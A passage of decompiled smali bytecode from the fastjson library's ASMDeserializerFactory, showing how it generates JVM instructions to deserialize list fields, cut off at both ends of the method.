                                                197invoke-virtual {v12, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                199invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                200move-result-object v12
                                                202invoke-virtual {v1, v12}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                203move-result v12
                                                204const/16 v3, 0x3a
                                                206invoke-interface {v2, v3, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                207move-object/from16 v12, p6
                                                208move-object/from16 v18, v17
                                                210invoke-direct {v0, v1, v2, v4, v12}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_getCollectionFieldItemDeser(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;)V
                                                211move-object/from16 v19, v14
                                                212const/4 v3, 0x1
                                                213const/16 v14, 0x19
                                                215invoke-interface {v2, v14, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                217invoke-static/range {p6 .. p6}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                218move-result-object v3
                                                220invoke-static {v3}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                221move-result-object v3
                                                223invoke-interface {v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                224const/4 v3, 0x3
                                                226invoke-interface {v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                227const/16 v3, 0xb8
                                                229const-string v14, "java/lang/Integer"
                                                230move-object/from16 v20, v8
                                                232const-string v8, "valueOf"
                                                233move-object/from16 v21, v13
                                                235const-string v13, "(I)Ljava/lang/Integer;"
                                                237invoke-interface {v2, v3, v14, v8, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                238const-class v3, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                240invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                241move-result-object v3
                                                242new-instance v8, Ljava/lang/StringBuilder;
                                                244invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                246const-string v13, "(L"
                                                248invoke-virtual {v8, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                250sget-object v13, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                252invoke-virtual {v8, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                254const-string v13, ";Ljava/lang/reflect/Type;Ljava/lang/Object;)Ljava/lang/Object;"
                                                256invoke-virtual {v8, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                258invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                259move-result-object v8
                                                260const/16 v13, 0xb9
                                                262const-string v14, "deserialze"
                                                264invoke-interface {v2, v13, v3, v14, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                266const-string v3, "list_item_value"
                                                268invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                269move-result v3
                                                270const/16 v8, 0x3a
                                                272invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                273new-instance v3, Ljava/lang/StringBuilder;
                                                275invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                277iget-object v8, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                279invoke-virtual {v3, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                281invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                283invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                284move-result-object v3
                                                286invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                287move-result v3
                                                288const/16 v8, 0x19
                                                290invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                292const-string v3, "list_item_value"
                                                294invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                295move-result v3
                                                297invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                299invoke-virtual/range {p5 .. p5}, Ljava/lang/Class;->isInterface()Z
                                                300move-result v3
                                                301if-eqz v3, :cond_1b0
                                                303invoke-static/range {p5 .. p5}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                304move-result-object v3
                                                306const-string v8, "add"
                                                308const-string v14, "(Ljava/lang/Object;)Z"
                                                310invoke-interface {v2, v13, v3, v8, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                311goto/16 :goto_1bd
                                                312cond_1b0:
                                                313invoke-static/range {p5 .. p5}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                314move-result-object v3
                                                316const-string v8, "add"
                                                318const-string v14, "(Ljava/lang/Object;)Z"
                                                319const/16 v13, 0xb6
                                                321invoke-interface {v2, v13, v3, v8, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                322goto_1bd: const/16 v3, 0x57
                                                324invoke-interface {v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                325move-object/from16 v3, v16
                                                326const/16 v8, 0xa7
                                                328invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                330invoke-interface {v2, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                331const/4 v8, 0x0
                                                333invoke-direct {v0, v2, v5, v7, v8}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_newCollection(Lcom/alibaba/fastjson/asm/MethodVisitor;Ljava/lang/Class;IZ)V
                                                335invoke-interface {v2, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                336new-instance v7, Ljava/lang/StringBuilder;
                                                338invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                340iget-object v8, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                342invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                344invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                346invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                347move-result-object v7
                                                349invoke-virtual {v1, v7}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                350move-result v7
                                                351const/16 v8, 0x3a
                                                353invoke-interface {v2, v8, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                355iget-object v7, v4, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                357invoke-static {v7}, Lcom/alibaba/fastjson/parser/ParserConfig;->isPrimitive(Ljava/lang/Class;)Z
                                                358move-result v7
                                                360invoke-direct {v0, v1, v2, v4, v12}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_getCollectionFieldItemDeser(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;)V
                                                361if-eqz v7, :cond_230
                                                362const-class v8, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                364invoke-static {v8}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                365move-result-object v8
                                                367const-string v9, "getFastMatchToken"
                                                368const/16 v10, 0xb9
                                                370invoke-interface {v2, v10, v8, v9, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                371const/16 v8, 0x36
                                                373const-string v9, "fastMatchToken"
                                                375invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                376move-result v9
                                                378invoke-interface {v2, v8, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                380invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                381move-result v8
                                                382const/16 v9, 0x19
                                                384invoke-interface {v2, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                386const-string v8, "fastMatchToken"
                                                388invoke-virtual {v1, v8}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                389move-result v8
                                                390const/16 v9, 0x15
                                                392invoke-interface {v2, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                394sget-object v8, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                395move-object/from16 v10, v18
                                                396move-object/from16 v9, v21
                                                397const/16 v13, 0xb6
                                                399invoke-interface {v2, v13, v8, v10, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                400goto/16 :goto_24e
                                                401cond_230: move-object/from16 v10, v18
                                                402move-object/from16 v9, v21
                                                403const/16 v8, 0x57
                                                405invoke-interface {v2, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                406move-object/from16 v8, v20
                                                408invoke-interface {v2, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                409const/16 v8, 0x36
                                                411const-string v13, "fastMatchToken"
                                                413invoke-virtual {v1, v13}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                414move-result v13
                                                416invoke-interface {v2, v8, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                417const/16 v8, 0xc
                                                419invoke-direct {v0, v1, v2, v8}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_quickNextToken(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;I)V
                                                420goto_24e: const/4 v8, 0x1
                                                421const/16 v13, 0x19
                                                423invoke-interface {v2, v13, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                425sget-object v8, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                426new-instance v13, Ljava/lang/StringBuilder;
                                                428invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
                                                430const-string v14, "()"
                                                432invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                433const-class v14, Lcom/alibaba/fastjson/parser/ParseContext;
                                                435invoke-static {v14}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                436move-result-object v14
                                                438invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                440invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                441move-result-object v13
                                                443const-string v14, "getContext"
                                                444const/16 v5, 0xb6
                                                446invoke-interface {v2, v5, v8, v14, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                448const-string v5, "listContext"
                                                450invoke-virtual {v1, v5}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                451move-result v5
                                                452const/16 v8, 0x3a
                                                454invoke-interface {v2, v8, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                455const/4 v5, 0x1
                                                456const/16 v8, 0x19
                                                458invoke-interface {v2, v8, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                459new-instance v5, Ljava/lang/StringBuilder;
                                                461invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                463iget-object v13, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                465invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                467invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                469invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                470move-result-object v5
                                                472invoke-virtual {v1, v5}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                473move-result v5
                                                475invoke-interface {v2, v8, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                477iget-object v5, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                479invoke-interface {v2, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                481sget-object v5, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                482new-instance v8, Ljava/lang/StringBuilder;
                                                484invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                486const-string v13, "(Ljava/lang/Object;Ljava/lang/Object;)"
                                                488invoke-virtual {v8, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                489const-class v13, Lcom/alibaba/fastjson/parser/ParseContext;
                                                491invoke-static {v13}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                492move-result-object v13
                                                494invoke-virtual {v8, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                496invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                497move-result-object v8
                                                499const-string v13, "setContext"
                                                500const/16 v14, 0xb6
                                                502invoke-interface {v2, v14, v5, v13, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                503const/16 v5, 0x57
                                                505invoke-interface {v2, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                506new-instance v5, Lcom/alibaba/fastjson/asm/Label;
                                                508invoke-direct {v5}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                509new-instance v8, Lcom/alibaba/fastjson/asm/Label;
                                                511invoke-direct {v8}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                512const/4 v13, 0x3
                                                514invoke-interface {v2, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                515const/16 v13, 0x36
                                                517const-string v14, "i"
                                                519invoke-virtual {v1, v14}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                520move-result v14
                                                522invoke-interface {v2, v13, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                524invoke-interface {v2, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                526invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                527move-result v13
                                                528const/16 v14, 0x19
                                                530invoke-interface {v2, v14, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                532sget-object v13, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                533move-object/from16 v14, v19
                                                534const/16 v12, 0xb6
                                                536invoke-interface {v2, v12, v13, v14, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                537const/16 v12, 0xf
                                                539invoke-static {v12}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                540move-result-object v12
                                                542invoke-interface {v2, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                543const/16 v12, 0x9f
                                                545invoke-interface {v2, v12, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                546const/4 v12, 0x0
                                                547const/16 v13, 0x19
                                                549invoke-interface {v2, v13, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                551invoke-static/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                552move-result-object v13
                                                553new-instance v12, Ljava/lang/StringBuilder;
                                                555invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                                556move-object/from16 v16, v3
                                                558iget-object v3, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                560invoke-virtual {v12, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                562const-string v3, "_asm_list_item_deser__"
                                                564invoke-virtual {v12, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                566invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                567move-result-object v3
                                                568const-class v12, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                570invoke-static {v12}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                571move-result-object v12
                                                572move-object/from16 v18, v8
                                                573const/16 v8, 0xb4
                                                575invoke-interface {v2, v8, v13, v3, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                576const/4 v3, 0x1
                                                577const/16 v8, 0x19
                                                579invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                581invoke-static/range {p6 .. p6}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                582move-result-object v3
                                                584invoke-static {v3}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                585move-result-object v3
                                                587invoke-interface {v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                589const-string v3, "i"
                                                591invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                592move-result v3
                                                593const/16 v8, 0x15
                                                595invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                596const/16 v3, 0xb8
                                                598const-string v8, "java/lang/Integer"
                                                600const-string v12, "valueOf"
                                                602const-string v13, "(I)Ljava/lang/Integer;"
                                                604invoke-interface {v2, v3, v8, v12, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                605const-class v3, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                607invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                608move-result-object v3
                                                609new-instance v8, Ljava/lang/StringBuilder;
                                                611invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                613const-string v12, "(L"
                                                615invoke-virtual {v8, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                617sget-object v12, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                619invoke-virtual {v8, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                621const-string v12, ";Ljava/lang/reflect/Type;Ljava/lang/Object;)Ljava/lang/Object;"
                                                623invoke-virtual {v8, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                625invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                626move-result-object v8
                                                628const-string v12, "deserialze"
                                                629const/16 v13, 0xb9
                                                631invoke-interface {v2, v13, v3, v12, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                633const-string v3, "list_item_value"
                                                635invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                636move-result v3
                                                637const/16 v8, 0x3a
                                                639invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                641const-string v3, "i"
                                                643invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                644move-result v3
                                                645const/4 v8, 0x1
                                                647invoke-interface {v2, v3, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitIincInsn(II)V
                                                648new-instance v3, Ljava/lang/StringBuilder;
                                                650invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                652iget-object v8, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                654invoke-virtual {v3, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                656invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                658invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                659move-result-object v3
                                                661invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                662move-result v3
                                                663const/16 v8, 0x19
                                                665invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                667const-string v3, "list_item_value"
                                                669invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                670move-result v3
                                                672invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                674invoke-virtual/range {p5 .. p5}, Ljava/lang/Class;->isInterface()Z
                                                675move-result v3
                                                676if-eqz v3, :cond_3c7
                                                678invoke-static/range {p5 .. p5}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                679move-result-object v3
                                                681const-string v8, "add"
                                                683const-string v12, "(Ljava/lang/Object;)Z"
                                                684const/16 v13, 0xb9
                                                686invoke-interface {v2, v13, v3, v8, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                687goto/16 :goto_3d4
                                                688cond_3c7:
                                                689invoke-static/range {p5 .. p5}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                690move-result-object v3
                                                692const-string v8, "add"
                                                694const-string v12, "(Ljava/lang/Object;)Z"
                                                695const/16 v13, 0xb6
                                                697invoke-interface {v2, v13, v3, v8, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                698goto_3d4: const/16 v3, 0x57
                                                700invoke-interface {v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                701const/4 v3, 0x1
                                                702const/16 v8, 0x19
                                                704invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                705new-instance v3, Ljava/lang/StringBuilder;
                                                707invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                709iget-object v4, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                711invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                713invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                715invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                716move-result-object v3
                                                718invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                719move-result v3
                                                721invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                723sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                725const-string v4, "checkListResolve"
                                                727const-string v6, "(Ljava/util/Collection;)V"
                                                728const/16 v12, 0xb6
                                                730invoke-interface {v2, v12, v3, v4, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                732invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                733move-result v3
                                                735invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                737sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                739invoke-interface {v2, v12, v3, v14, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                740const/16 v3, 0x10
                                                742invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                743move-result-object v3
                                                745invoke-interface {v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                746const/16 v3, 0xa0
                                                748invoke-interface {v2, v3, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                749if-eqz v7, :cond_438
                                                751invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                752move-result v3
                                                754invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                756const-string v3, "fastMatchToken"
                                                758invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                759move-result v3
                                                760const/16 v4, 0x15
                                                762invoke-interface {v2, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                764sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                765const/16 v4, 0xb6
                                                767invoke-interface {v2, v4, v3, v10, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                768goto/16 :goto_43d
                                                769cond_438: const/16 v3, 0xc
